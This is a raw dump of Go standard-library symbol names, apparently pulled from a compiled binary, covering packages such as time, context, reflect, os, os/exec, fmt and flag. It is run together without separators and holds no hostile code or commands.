ddtime.Time.Subtime.subMonotime.Sincetime.Untiltime.(*Location).gettime.(*Location).Stringtime.(*Location).lookuptime.(*Location).lookupFirstZonetime.(*Location).firstZoneUsedtime.tzsettime.tzsetNametime.tzsetOffsettime.tzsetNumtime.tzsetRuletime.tzruleTimetime.isLeaptime.daysIntime.daysBeforetime.fileSizeError.Errortime.(*dataIO).big8time.(*dataIO).big4time.(*dataIO).readtime.LoadLocationFromTZDatatime.(*dataIO).resttime.(*dataIO).bytetime.byteStringtime.findZonetime.loadTzinfoFromDirOrZiptime.loadTzinfoFromZiptime.get4time.get2time.loadTzinfoFromZip.deferwrap1time.loadTzinfotime.loadLocationruntime.GOROOTtime.gorootZoneSourcetime.readFiletime.readtime.readFile.deferwrap1time.initLocaltime.nextStdChunktime.startsWithLowerCasetime.isDigit[go.shape.string]time.stdFracSecondtime.Nowtime.inittime.(*Time).GoStringtime.(*Time).Stringtime.(*Duration).Stringtime.(*fileSizeError).Errortype:.eq.time.zonetype:.eq.time.zoneTranstype:.eq.time.Timercontext.initcontext.deadlineExceededError.Errorcontext.emptyCtx.Deadlinecontext.emptyCtx.Donecontext.emptyCtx.Errcontext.emptyCtx.Valuecontext.backgroundCtx.Stringcontext.WithCancelcontext.withCancelcontext.WithCancel.func1context.Causecontext.parentCancelCtxsync/atomic.(*Value).Loadcontext.removeChildcontext.init.0context.(*cancelCtx).Valuecontext.(*cancelCtx).Donecontext.(*cancelCtx).Done.deferwrap1context.(*cancelCtx).Errcontext.(*cancelCtx).propagateCancelcontext.(*cancelCtx).propagateCancel.func2context.(*cancelCtx).propagateCancel.func1context.contextNamecontext.(*cancelCtx).Stringcontext.(*cancelCtx).cancelcontext.WithDeadlineCausecontext.WithDeadlineCause.func3context.WithDeadlineCause.func2context.WithDeadlineCause.deferwrap1context.WithDeadlineCause.func1context.(*timerCtx).Deadlinecontext.(*timerCtx).Stringcontext.(*timerCtx).canceltime.(*Timer).Stopcontext.WithTimeoutcontext.WithDeadlinecontext.valuetype:.eq.context.valueCtxcontext.(*deadlineExceededError).Errorcontext.(*emptyCtx).Deadlinecontext.(*emptyCtx).Donecontext.(*emptyCtx).Errcontext.(*emptyCtx).Valuecontext.backgroundCtx.Deadlinecontext.(*backgroundCtx).Deadlinecontext.backgroundCtx.Donecontext.(*backgroundCtx).Donecontext.backgroundCtx.Errcontext.(*backgroundCtx).Errcontext.(*backgroundCtx).Stringcontext.backgroundCtx.Valuecontext.(*backgroundCtx).Valuecontext.cancelCtx.Deadlinecontext.(*cancelCtx).Deadlinecontext.stopCtx.Deadlinecontext.(*stopCtx).Deadlinecontext.stopCtx.Donecontext.(*stopCtx).Donecontext.stopCtx.Errcontext.(*stopCtx).Errcontext.stopCtx.Valuecontext.(*stopCtx).Valuecontext.(*timerCtx).Donecontext.(*timerCtx).Errcontext.(*timerCtx).Valueunicode/utf8.decodeRuneSlowunicode/utf8.decodeRuneInStringSlowunicode/utf8.DecodeLastRuneunicode/utf8.RuneStartunicode/utf8.DecodeRuneunicode/utf8.DecodeLastRuneInStringunicode/utf8.DecodeRuneInStringunicode/utf8.encodeRuneNonASCIIunicode/utf8.appendRuneNonASCIIstrconv.ParseBoolinternal/strconv.ParseBoolstrconv.ParseIntstrconv.Atoistrconv.toErrorstrconv.syntaxErrorinternal/stringslite.Clonestrconv.rangeErrorstrconv.(*NumError).Errorstrconv.Quotestrconv.quoteWithstrconv.(*NumError).Unwrapstrconv.baseErrorstrconv.Itoastrconv.bitSizeErrorstrconv.appendQuotedWithstrconv.appendQuotedRuneWithunicode/utf8.ValidRunestrconv.appendEscapedRunestrconv.isInGraphicListstrconv.bsearch[go.shape.[]uint16,go.shape.uint16]unicode/utf8.AppendRunestrconv.CanBackquotestrconv.IsPrintstrconv.bsearch[go.shape.[]uint32,go.shape.uint32]type:.eq.strconv.NumErrorunicode.map.init.0unicode.map.init.1unicode.map.init.2unicode.IsSpaceunicode.is16unicode.is32unicode.isExcludingLatinunicode.tounicode.lookupCaseRangeunicode.convertCaseunicode.ToLowerunicode.Tounicode.SimpleFoldunicode.initreflect.initreflect.(*abiSeq).addArginternal/abi.(*Type).Alignreflect.(*abiSeq).stackAssignreflect.alignreflect.(*abiSeq).addRcvrreflect.(*abiSeq).regAssignreflect.(*abiSeq).assignFloatNreflect.(*abiSeq).assignIntNreflect.newAbiDescreflect.(*bitVector).appendreflect.(*abiSeq).stepsForValueinternal/abi.(*IntArgRegBitmap).Setreflect.intFromReginternal/abi.(*RegArgs).IntRegArgAddrreflect.intToRegreflect.deepValueEqualreflect.Value.Typereflect.deepValueEqual.func1reflect.Value.Kindreflect.flag.kindreflect.Value.IsNilreflect.Value.Stringreflect.Value.Boolreflect.deepValueEqual.func2reflect.Value.pointerreflect.Value.Intreflect.Value.Uintreflect.Value.Floatreflect.Value.Complexreflect.Value.Lenreflect.Value.MapRangereflect.Value.Bytesreflect.Value.IsValidreflect.DeepEqualreflect.ValueOfreflect.unpackEfacereflect.makeMethodValuereflect.methodValueCallCodePtrreflect.moveMakeFuncArgPtrsreflect.Value.MapIndexreflect.flag.mustBereflect.flag.roreflect.mapIterStartreflect.mapIterNextreflect.(*MapIter).Keyinternal/runtime/maps.(*Iter).Keyreflect.(*MapIter).Valueinternal/runtime/maps.(*Iter).Elemreflect.(*MapIter).Nextinternal/runtime/maps.(*Iter).Initializedreflect.flag.panicNotMapreflect.pkgPathreflect.Kind.Stringreflect.(*rtype).exportedMethodsreflect.(*rtype).uncommonreflect.elemreflect.stringForreflect.ChanDir.Stringreflect.(*structType).Fieldreflect.toTypeinternal/abi.(*StructField).Embeddedreflect.implementsinternal/abi.(*UncommonType).Methodsreflect.(*interfaceType).nameOffreflect.(*rtype).nameOffreflect.nameOffForreflect.typeOffForreflect.(*rtype).typeOffreflect.(*interfaceType).typeOffreflect.specialChannelAssignabilityinternal/abi.(*Type).ChanDirreflect.nameForreflect.directlyAssignablereflect.haveIdenticalTypereflect.pkgPathForreflect.haveIdenticalUnderlyingTypeinternal/abi.(*Type).Keyinternal/abi.(*FuncType).NumIninternal/abi.(*FuncType).Ininternal/abi.(*FuncType).Outreflect.funcLayoutreflect.newNamereflect.resolveReflectNamereflect.funcLayout.func1reflect.addTypeBitsreflect.packEfaceDatareflect.(*ValueError).Errorreflect.valueMethodNamereflect.Value.panicNotBoolreflect.Value.bytesSlowreflect.methodReceiverreflect.textOffForreflect.(*rtype).textOffreflect.callMethodreflect.storeRcvrreflect.addreflect.floatFromRegreflect.archFloat32FromRegreflect.floatToRegreflect.archFloat32ToRegreflect.Value.Elemreflect.packIfaceValueIntoEmptyIfacereflect.Value.Fieldreflect.Value.Indexreflect.arrayAtreflect.Value.lenNonSlicereflect.copyValreflect.Value.NumMethodreflect.Value.NumFieldreflect.Value.Pointerreflect.escapesreflect.Value.stringNonStringreflect.Value.typeSlowreflect.Value.abiTypeSlowreflect.Value.UnsafePointerreflect.Zeroreflect.Newreflect.ptrToreflect.Value.assignToreflect.(*rtype).Stringreflect.(*rtype).Kindreflect.(*rtype).NumMethodreflect.(*interfaceType).NumMethodreflect.(*rtype).PkgPathreflect.(*rtype).Namereflect.(*rtype).Elemreflect.(*rtype).commonreflect.(*rtype).Fieldreflect.(*rtype).Lenreflect.(*rtype).ptrToreflect.fnv1reflect.typesByStringreflect.rtypeOffreflect.valueInterfacereflect.packEfacereflect.methodValueCalltype:.eq.reflect.Methodreflect.(*Kind).Stringreflect.(*ChanDir).Stringreflect.(*Value).Kindreflect.(*Value).Lenreflect.(*Value).Stringreflect.(*ptrType).Lenreflect.callMethodtype:.eq.reflect.ValueErrortype:.eq.reflect.makeFuncCtxttype:.eq.reflect.methodValuetype:.eq.reflect.visittype:.hash.reflect.visitinternal/fmtsort.Sortslices.SortStableFunc[go.shape.[]internal/fmtsort.KeyValue,go.shape.struct { Key reflect.Value; Value reflect.Value }]internal/fmtsort.comparecmp.Compare[go.shape.int64]cmp.Compare[go.shape.uint64]cmp.Compare[go.shape.float64]cmp.isNaN[go.shape.float64]cmp.Compare[go.shape.uintptr]cmp.Compare[go.shape.string]internal/fmtsort.nilCompareinternal/fmtsort.Sort.func1slices.stableCmpFunc[go.shape.struct { Key reflect.Value; Value reflect.Value }]slices.insertionSortCmpFunc[go.shape.struct { Key reflect.Value; Value reflect.Value }]slices.symMergeCmpFunc[go.shape.struct { Key reflect.Value; Value reflect.Value }]slices.rotateCmpFunc[go.shape.struct { Key reflect.Value; Value reflect.Value }]slices.swapRangeCmpFunc[go.shape.struct { Key reflect.Value; Value reflect.Value }]io.init.func1io.WriteStringio.ReadAtLeastio.copyBufferio.discard.Writeio.discard.WriteStringio.discard.ReadFromio.ReadAlltype:.eq.io.LimitedReaderio.(*discard).ReadFromio.(*discard).Writeio.(*discard).WriteStringio/fs.initio/fs.FormatDirEntryio/fs.FileMode.Stringio/fs.FileMode.IsDirio/fs.FileMode.Typeio/fs.(*PathError).Errorio/fs.(*PathError).Unwraptype:.eq.io/fs.PathErrorio/fs.(*FileMode).IsDirio/fs.(*FileMode).Stringio/fs.(*FileMode).Typeinternal/filepathlite.Cleaninternal/filepathlite.IsPathSeparatorinternal/filepathlite.(*lazybuf).appendinternal/filepathlite.(*lazybuf).stringinternal/filepathlite.(*lazybuf).indexinternal/filepathlite.Baseinternal/testlog.PanicOnExit0internal/testlog.PanicOnExit0.deferwrap1internal/testlog.Getenvinternal/testlog.Loggersync/atomic.(*Pointer[go.shape.interface { Chdir(string); Getenv(string); Open(string); Stat(string) }]).Loadinternal/testlog.Openinternal/testlog.Statinternal/syscall/unix.Unlinkatinternal/syscall/unix.Openatinternal/syscall/unix.Readlinkatinternal/syscall/unix.CopyFileRangeinternal/syscall/unix.Fcntlinternal/syscall/unix.KernelVersioninternal/syscall/unix.PidFDOpeninternal/syscall/unix.Waitidinternal/poll.initsync.OnceValue[go.shape.bool]internal/poll.init.OnceValue[go.shape.bool].func4internal/poll.init.OnceValue[go.shape.bool].func4.1internal/poll.init.OnceValue[go.shape.bool].func4.1.1internal/poll.init.func1internal/syscall/unix.KernelVersionGEinternal/poll.init.func3internal/poll.CopyFileRangeinternal/poll.handleCopyFileRangeErrinternal/poll.copyFileRangeinternal/poll.(*FD).writeLockinternal/poll.errClosinginternal/poll.(*FD).readLockinternal/poll.ignoringEINTR2[go.shape.int64]internal/poll.copyFileRange.func1internal/poll.copyFileRange.deferwrap2internal/poll.copyFileRange.deferwrap1internal/poll.errNetClosing.Errorinternal/poll.(*DeadlineExceededError).Errorinternal/poll.(*FD).Fsyncinternal/poll.(*FD).increfinternal/poll.(*fdMutex).increfinternal/poll.ignoringEINTRinternal/poll.(*FD).Fsync.func1internal/poll.(*FD).Fsync.deferwrap1internal/poll.(*fdMutex).increfAndCloseinternal/poll.(*fdMutex).rwlockinternal/poll.(*fdMutex).rwunlockinternal/poll.(*FD).decrefinternal/poll.(*fdMutex).decrefinternal/poll.(*FD).readUnlockinternal/poll.(*FD).writeUnlockinternal/poll.(*pollDesc).initinternal/poll.errnoErrinternal/poll.(*pollDesc).prepareinternal/poll.convertErrinternal/poll.(*pollDesc).waitinternal/poll.(*FD).Initinternal/poll.(*FD).destroyinternal/poll.(*pollDesc).closeinternal/poll.(*SysFile).destroyinternal/poll.(*FD).Closeinternal/poll.(*pollDesc).evictinternal/poll.(*FD).SetBlockinginternal/poll.(*FD).SetBlocking.deferwrap1internal/poll.(*FD).Readinternal/poll.(*pollDesc).prepareReadinternal/poll.ignoringEINTRIOinternal/poll.(*pollDesc).pollableinternal/poll.(*pollDesc).waitReadinternal/poll.(*FD).eofErrorinternal/poll.(*FD).Read.deferwrap1internal/poll.(*FD).Writeinternal/poll.(*pollDesc).prepareWriteinternal/poll.(*pollDesc).waitWriteinternal/poll.(*FD).Write.deferwrap1internal/poll.(*FD).Fstatinternal/poll.(*FD).Fstat.func1internal/poll.(*FD).Fstat.deferwrap1internal/poll.(*FD).RawReadinternal/poll.(*FD).RawRead.deferwrap1internal/poll.(*FD).ReadDirentsyscall.ReadDirentinternal/poll.(*FD).ReadDirent.deferwrap1internal/poll.SendFileinternal/poll.sendFileinternal/poll.sendFile.deferwrap1internal/poll.sendFile.func1internal/poll.sendFileChunksyscall.Sendfileinternal/poll.Spliceinternal/poll.getPipeinternal/poll.Splice.deferwrap1internal/poll.spliceDraininternal/poll.spliceinternal/poll.spliceDrain.deferwrap1internal/poll.splicePumpinternal/poll.splicePump.deferwrap1internal/poll.newPoolPipeinternal/poll.putPipeinternal/poll.newPipeinternal/poll.destroyPipeinternal/poll.newPoolPipe.func1runtime.AddCleanup[go.shape.struct { internal/poll.splicePipeFields; internal/poll.cleanup runtime.Cleanup },go.shape.struct { internal/poll.rfd int; internal/poll.wfd int; internal/poll.data int }]internal/abi.Escape[go.shape.*uint8]internal/abi.Escape[go.shape.func(go.shape.struct { internal/poll.rfd int; internal/poll.wfd int; internal/poll.data int })]runtime.(*cleanupQueue).needGinternal/abi.TypeFor[go.shape.struct { internal/poll.splicePipeFields; internal/poll.cleanup runtime.Cleanup }]runtime.AddCleanup[go.shape.struct { internal/poll.splicePipeFields; internal/poll.cleanup runtime.Cleanup },go.shape.struct { internal/poll.rfd int; internal/poll.wfd int; internal/poll.data int }].func1runtime.callCleanup[go.shape.struct { internal/poll.rfd int; internal/poll.wfd int; internal/poll.data int }]internal/poll.(*errNetClosing).Errortype:.eq.internal/poll.FDos.initos.NewFilesync.OnceValue[go.shape.interface { Error() string }]os.init.OnceValue[go.shape.interface { Error() string }].func2os.init.OnceValue[go.shape.interface { Error() string }].func2.1os.init.OnceValue[go.shape.interface { Error() string }].func2.1.1os.init.func1os.(*File).Readdirnamesos.(*File).readdirsync/atomic.(*Pointer[go.shape.struct { os.mu sync.Mutex; os.buf *[]uint8; os.nbuf int; os.bufp int }]).Loadsync/atomic.(*Pointer[go.shape.struct { os.mu sync.Mutex; os.buf *[]uint8; os.nbuf int; os.bufp int }]).CompareAndSwapos.direntReclenos.readIntos.readIntLEinternal/byteorder.LEUint16os.direntInoos.direntTypeos.IsNotExistos.(*File).readdir.deferwrap1os.direntNamlenos.Getenvos.(*SyscallError).Erroros.(*SyscallError).Unwrapos.underlyingErrorIsos.underlyingErroros.(*processHandle).releasesync/atomic.(*Int32).CompareAndSwapos.(*processHandle).closeHandleos.newHandleProcesssync/atomic.(*Int32).Storeos.(*Process).handleTransientAcquireos.(*processHandle).acquireos.(*Process).handleTransientReleaseos.StartProcessos.(*Process).doReleasesync/atomic.(*Uint32).CompareAndSwapos.startProcessinternal/syscall/execenv.Defaultsyscall.StartProcessos.newPIDProcessos.(*ProcessState).Stringos.(*ProcessState).Sysos.(*ProcessState).syssyscall.WaitStatus.Exitedsyscall.WaitStatus.Signaledsyscall.WaitStatus.Stoppedsyscall.WaitStatus.Continuedsyscall.WaitStatus.StopSignalsyscall.WaitStatus.TrapCausesyscall.WaitStatus.CoreDumpsyscall.WaitStatus.Signalsyscall.WaitStatus.ExitStatusos.(*Process).waitos.(*Process).pidWaitos.(*Process).pidStatusos.ignoringEINTR2[go.shape.int]os.(*Process).pidWait.func1os.NewSyscallErroros.(*Process).signalos.(*Process).pidSignalos.convertESRCHos.(*Process).pidSignal.deferwrap1os.executableos.Readlinkinternal/stringslite.TrimSuffixos.(*File).Nameos.(*File).Reados.(*File).checkValidos.(*File).reados.(*File).ReadFromos.noReadFrom.ReadFromos.genericReadFromio.Copyos.(*File).Writeos.(*File).writeos.epipecheckos.(*File).WriteToos.noWriteTo.WriteToos.genericWriteToos.(*File).WriteStringos.OpenFileos.(*File).wrapErros.UserHomeDiros.Chmodos.chmodos.ignoringEINTRos.Chmod.chmod.func1syscall.Chmodos.syscallModeio/fs.FileMode.Permos.(*File).SyscallConnos.newRawConnos.(*File).Fdos.(*File).fdos.ReadFileos.Openos.ReadFile.deferwrap1os.(*File).Closeos.statOrZeroos.readFileContentsslices.Grow[go.shape.[]uint8,go.shape.uint8]os.WriteFileos.openos.(*File).Syncos.Chtimessyscall.UtimesNanoos.chtimesUtimesos.chtimesUtimes.func1time.Time.IsZerotime.Time.UnixNanosyscall.NsecToTimespecos.newFileFromNewFileinternal/syscall/unix.HasNonblockFlagos.newFileos.openFileNologos.openFileNolog.func1os.openDirNologos.openDirNolog.func1os.(*file).closesync/atomic.(*Pointer[go.shape.struct { os.mu sync.Mutex; os.buf *[]uint8; os.nbuf int; os.bufp int }]).Swapos.(*dirInfo).closeos.Removeos.Remove.func1syscall.Unlinkos.Remove.func2syscall.Rmdiros.readlinkos.readlink.func1syscall.Readlinkos.fixCountos.(*unixDirent).Nameos.(*unixDirent).IsDiros.(*unixDirent).Typeos.(*unixDirent).Stringos.newUnixDirentos.Getwdos.SameFileos.sameFileos.ignoringEINTR2[go.shape.string]os.RemoveAllos.splitPathos.ensurePidfdos.pidfdWorksos.getPidfdos.(*Process).pidfdWaitos.(*Process).pidfdWait.func1internal/syscall/unix.(*SiginfoChild).WaitStatusos.(*Process).pidfdWait.deferwrap1os.(*Process).pidfdSendSignalinternal/syscall/unix.PidFDSendSignalos.(*Process).pidfdSendSignal.deferwrap1os.checkPidfdsyscall.Getpidos.checkPidfd.func1os.checkPidfd.deferwrap1os.Pipeos.init.0os.Exitos.(*rawConn).Reados.removeAllos.endsWithDotos.IsPathSeparatoros.removeAll.deferwrap1os.removeAllFromos.removefileatos.removeAllFrom.removefileat.func1os.isErrNoFollowos.removediratos.removeAllFrom.removedirat.func2os.openDirAtos.rootOpenDiros.openDirAt.rootOpenDir.func1os.isNoFollowErros.newDirFileos.checkSymlinkos.errSymlink.Erroros.readlinkatos.readlinkat.func1os.Statos.Lstatos.fillFileStatFromSystime.Unixsyscall.(*Timespec).Unixtime.unixTimeos.(*File).Statos.statNologos.statNolog.func1syscall.Statos.lstatNologos.lstatNolog.func1syscall.Lstatos.hostnameos.hostname.deferwrap1os.nextRandomos.prefixAndSuffixinternal/bytealg.LastIndexByteStringos.MkdirTempos.TempDiros.tempDiros.joinPathos.Mkdiros.MkdirTemp.Mkdir.func1syscall.Mkdiros.IsExistos.(*fileStat).Nameos.(*fileStat).IsDiros.(*fileStat).Modeos.(*fileStat).Sizeos.(*Process).blockUntilWaitableos.(*Process).blockUntilWaitable.func1os.(*File).writeToos.isUnixOrTCPos.wrapSyscallErroros.(*File).writeTo.func1os.(*File).readFromos.(*File).spliceToFileos.tryLimitedReaderos.(*File).copyFileRangeos.getPollFDAndNetworktype:.eq.os.fileStattype:.eq.os.LinkErrortype:.eq.os.filetype:.eq.sync/atomic.Pointer[os.dirInfo]type:.eq.os.dirInfotype:.eq.os.unixDirentruntime.AddCleanup[go.shape.struct { Pid int; os.state sync/atomic.Uint32; os.sigMu sync.RWMutex; os.handle *os.processHandle; os.cleanup runtime.Cleanup },go.shape.*uint8]internal/abi.Escape[go.shape.func(go.shape.*uint8)]internal/abi.TypeFor[go.shape.struct { Pid int; os.state sync/atomic.Uint32; os.sigMu sync.RWMutex; os.handle *os.processHandle; os.cleanup runtime.Cleanup }]runtime.AddCleanup[go.shape.struct { Pid int; os.state sync/atomic.Uint32; os.sigMu sync.RWMutex; os.handle *os.processHandle; os.cleanup runtime.Cleanup },go.shape.*uint8].func1runtime.callCleanup[go.shape.*uint8]type:.eq.os.SyscallErroros.(*noReadFrom).ReadFromos.fileWithoutReadFrom.Closeos.(*fileWithoutReadFrom).Closeos.fileWithoutReadFrom.Nameos.(*fileWithoutReadFrom).Nameos.fileWithoutReadFrom.Reados.(*fileWithoutReadFrom).Reados.fileWithoutReadFrom.SyscallConnos.(*fileWithoutReadFrom).SyscallConnos.fileWithoutReadFrom.Writeos.(*fileWithoutReadFrom).Writeos.fileWithoutReadFrom.WriteStringos.(*fileWithoutReadFrom).WriteStringos.fileWithoutReadFrom.WriteToos.(*fileWithoutReadFrom).WriteToos.(*noWriteTo).WriteToos.fileWithoutWriteTo.Closeos.(*fileWithoutWriteTo).Closeos.fileWithoutWriteTo.Nameos.(*fileWithoutWriteTo).Nameos.fileWithoutWriteTo.Reados.(*fileWithoutWriteTo).Reados.fileWithoutWriteTo.ReadFromos.(*fileWithoutWriteTo).ReadFromos.fileWithoutWriteTo.SyscallConnos.(*fileWithoutWriteTo).SyscallConnos.fileWithoutWriteTo.Writeos.(*fileWithoutWriteTo).Writeos.fileWithoutWriteTo.WriteStringos.(*fileWithoutWriteTo).WriteStringos.(*errSymlink).Erroros.(*File).Read-fmtype:.eq.os.processHandletype:.eq.os.Processtype:.eq.os.ProcessStatefmt.init.func1fmt.errorfslices.Sort[go.shape.[]int,go.shape.int]fmt.(*wrapError).Errorfmt.(*wrapError).Unwrapfmt.(*wrapErrors).Errorfmt.(*wrapErrors).Unwrapfmt.(*fmt).writePaddingfmt.(*fmt).padunicode/utf8.RuneCountfmt.(*buffer).writeunicode/utf8.RuneCountInStringfmt.(*fmt).padStringfmt.(*buffer).writeStringfmt.(*fmt).fmtBooleanfmt.(*fmt).fmtUnicodeunicode/utf8.RuneLenunicode/utf8.EncodeRunefmt.(*fmt).fmtIntegerfmt.(*fmt).truncatefmt.(*fmt).fmtSfmt.(*fmt).truncateStringfmt.(*fmt).fmtBsfmt.(*fmt).fmtSbxfmt.(*fmt).fmtQstrconv.AppendQuotestrconv.AppendQuoteToASCIIfmt.(*fmt).fmtCfmt.(*fmt).fmtQcstrconv.AppendQuoteRuneToASCIIstrconv.AppendQuoteRunefmt.(*fmt).fmtFloatstrconv.AppendFloatfmt.(*buffer).writeBytefmt.newPrinterfmt.(*fmt).initfmt.(*fmt).clearflagsfmt.(*pp).freefmt.(*pp).Writefmt.(*pp).WriteStringfmt.Fprintffmt.Sprintffmt.Appendffmt.Fprintfmt.Fprintlnfmt.Appendlnfmt.getFieldfmt.(*pp).unknownTypefmt.(*pp).badVerbfmt.(*buffer).writeRunereflect.TypeOffmt.(*pp).fmtBoolfmt.(*pp).fmt0x64fmt.(*pp).fmtIntegerfmt.(*pp).fmtFloatfmt.(*pp).fmtComplexfmt.(*pp).fmtStringfmt.(*fmt).fmtSxfmt.(*pp).fmtBytesfmt.(*fmt).fmtBxfmt.(*pp).fmtPointerfmt.(*pp).catchPanicfmt.(*pp).handleMethodsfmt.(*pp).handleMethods.deferwrap4fmt.(*pp).handleMethods.deferwrap3fmt.(*pp).handleMethods.deferwrap2fmt.(*pp).handleMethods.deferwrap1fmt.(*pp).printArgreflect.Value.CanInterfacereflect.Value.Interfacefmt.(*pp).printValuefmt.intFromArgfmt.tooLargefmt.parseArgNumberfmt.parsenumfmt.(*pp).argNumberfmt.(*pp).badArgNumfmt.(*pp).missingArgfmt.(*pp).doPrintffmt.(*pp).doPrintfmt.(*pp).doPrintlntype:.eq.fmt.wrapErrorslices.pdqsortOrdered[go.shape.int]slices.reverseRangeOrdered[go.shape.int]cmp.Less[go.shape.int]slices.partitionOrdered[go.shape.int]slices.partitionEqualOrdered[go.shape.int]slices.partialInsertionSortOrdered[go.shape.int]slices.choosePivotOrdered[go.shape.int]slices.medianAdjacentOrdered[go.shape.int]slices.medianOrdered[go.shape.int]slices.order2Ordered[go.shape.int]slices.breakPatternsOrdered[go.shape.int]slices.nextPowerOfTwoslices.(*xorshift).Nextslices.heapSortOrdered[go.shape.int]slices.siftDownOrdered[go.shape.int]slices.insertionSortOrdered[go.shape.int]type:.eq.fmt.fmtstrings.(*Builder).Stringstrings.(*Builder).Lenstrings.(*Builder).growstrings.(*Builder).Growstrings.(*Builder).copyCheckstrings.(*Builder).Writestrings.(*Builder).WriteRunestrings.(*Builder).WriteStringstrings.(*Reader).Lenstrings.(*Reader).Sizestrings.(*Reader).Readstrings.(*Reader).ReadBytestrings.(*Reader).ReadRunestrings.(*Reader).WriteTostrings.explodestrings.Countstrings.Indexstrings.IndexRunestrings.IndexBytestrings.genSplitstrings.SplitNstrings.Fieldsstrings.FieldsFuncstrings.Joinstrings.Mapstrings.(*Builder).Capstrings.(*Builder).WriteBytestrings.Repeatstrings.HasPrefixstrings.ToLowerstrings.TrimRightFuncstrings.TrimFuncstrings.TrimLeftFuncstrings.indexFuncstrings.lastIndexFuncstrings.TrimSpacestrings.Replacestrings.Cuttype:.eq.strings.Readerflag.init.func1flag.(*FlagSet).Outputflag.PrintDefaultsflag.(*boolValue).Setflag.(*boolValue).Stringstrconv.FormatBoolinternal/strconv.FormatBoolflag.(*boolValue).IsBoolFlagflag.(*stringValue).Setflag.(*stringValue).Stringflag.sortFlagsslices.SortFunc[go.shape.[]*flag.Flag,go.shape.*uint8]flag.(*FlagSet).VisitAllflag.isZeroValueflag.isZeroValue.func1fmt.Errorfflag.UnquoteUsageflag.(*FlagSet).PrintDefaultsflag.(*FlagSet).PrintDefaults.func1strings.ReplaceAllflag.(*FlagSet).defaultUsageflag.(*FlagSet).Varstrings.Containsflag.(*FlagSet).sprintfflag.(*FlagSet).failfflag.(*FlagSet).usageflag.(*FlagSet).parseOneflag.(*FlagSet).Parseflag.init.0flag.NewFlagSetflag.commandLineUsageflag.sortFlags.func1strings.Compareinternal/bytealg.CompareStringslices.pdqsortCmpFunc[go.shape.*uint8]slices.reverseRangeCmpFunc[go.shape.*uint8]slices.insertionSortCmpFunc[go.shape.*uint8]slices.partitionCmpFunc[go.shape.*uint8]slices.partitionEqualCmpFunc[go.shape.*uint8]slices.partialInsertionSortCmpFunc[go.shape.*uint8]slices.choosePivotCmpFunc[go.shape.*uint8]slices.medianAdjacentCmpFunc[go.shape.*uint8]slices.medianCmpFunc[go.shape.*uint8]slices.order2CmpFunc[go.shape.*uint8]slices.breakPatternsCmpFunc[go.shape.*uint8]slices.heapSortCmpFunc[go.shape.*uint8]slices.siftDownCmpFunc[go.shape.*uint8]flag.(*FlagSet).defaultUsage-fmtype:.eq.flag.Flagbytes.(*Buffer).Stringbytes.(*Buffer).Lenbytes.(*Buffer).growbytes.(*Buffer).Resetbytes.(*Buffer).tryGrowByReslicebytes.(*Buffer).Writebytes.(*Buffer).WriteStringbytes.(*Buffer).ReadFrombytes.growSlicebytes.(*Buffer).WriteTobytes.(*Buffer).Readbytes.(*Buffer).emptybytes.(*Buffer).ReadBytebytes.(*Buffer).ReadRunebytes.Countbytes.Containsbytes.TrimRightFuncbytes.TrimFuncbytes.TrimLeftFuncbytes.indexFuncbytes.lastIndexFuncbytes.TrimSpacebytes.Indexbytes.Equalbytes.IndexBytebytes.(*Reader).Lenbytes.(*Reader).Sizebytes.(*Reader).Readbytes.(*Reader).ReadBytebytes.(*Reader).ReadRunebytes.(*Reader).WriteTobytes.growSlice.func1internal/bytealg.IndexRabinKarp[go.shape.[]uint8]internal/bytealg.HashStr[go.shape.[]uint8]path/filepath.initpath/filepath.Abspath/filepath.abspath/filepath.unixAbspath/filepath.IsAbsinternal/filepathlite.IsAbspath/filepath.Cleanpath/filepath.Joinpath/filepath.joinos/exec.(*Error).Erroros/exec.(*Error).Unwrapos/exec.wrappedError.Erroros/exec.wrappedError.Unwrapos/exec.Commandpath/filepath.Baseos/exec.LookPathos/exec.CommandContextos/exec.CommandContext.func1os.(*Process).Killos.(*Process).killos.(*Process).Signalos/exec.(*Cmd).Stringos/exec.interfaceEqualos/exec.(*Cmd).childStdinos/exec.(*Cmd).childStdin.func1os/exec.skipStdinCopyErroros/exec.(*Cmd).childStderros/exec.(*Cmd).writerDescriptoros/exec.(*Cmd).writerDescriptor.func1os/exec.(*Cmd).Runos/exec.(*Cmd).Startos/exec.(*Cmd).childStdoutos/exec.(*Cmd).argvos/exec.(*Cmd).Start.gowrap2os/exec.(*Cmd).Start.gowrap1os/exec.(*Cmd).Start.func2os/exec.(*Cmd).Start.func1os/exec.closeDescriptorsos/exec.(*Cmd).watchCtxos/exec.(*ExitError).Erroros/exec.(*Cmd).Waitos.(*Process).Waitos.(*ProcessState).Successos.(*ProcessState).successos/exec.(*Cmd).awaitGoroutinesos/exec.(*Cmd).awaitGoroutines.func1os/exec.(*Cmd).Outputbytes.(*Buffer).Bytesos/exec.(*prefixSuffixSaver).Writeos/exec.(*prefixSuffixSaver).fillos/exec.(*prefixSuffixSaver).Bytesbytes.(*Buffer).Growstrconv.FormatIntos/exec.(*Cmd).environos/exec.dedupEnvos/exec.dedupEnvCaseos/exec.findExecutableinternal/syscall/unix.Eaccessos/exec.lookPathos/exec.validateLookPathpath/filepath.SplitListpath/filepath.splitListstrings.Splitos/exec.interfaceEqual.func1os/exec.Command.func1type:.eq.os/exec.Errortype:.eq.os/exec.wrappedErroros/exec.(*wrappedError).Erroros/exec.(*wrappedError).Unwrapos/exec.ExitError.Stringos/exec.(*ExitError).Stringtype:.eq.os/exec.ctxResulttype:.eq.struct { os/exec.in string; os/exec.out string }type:.eq.os/exec.goroutineStatus·1math/rand.(*Rand).Seedmath/rand.(*Rand).Int63nmath/rand.(*Rand).Int63math/rand.(*Rand).Int31nmath/rand.(*Rand).Int31math/rand.(*Rand).Intnmath/rand.globalRandsync/atomic.(*Pointer[go.shape.struct { math/rand.src math/rand.Source; math/rand.s64 math/rand.Source64; math/rand.readVal int64; math/rand.readPos int8 }]).Loadmath/rand.Newsync/atomic.(*Pointer[go.shape.struct { math/rand.src math/rand.Source; math/rand.s64 math/rand.Source64; math/rand.readVal int64; math/rand.readPos int8 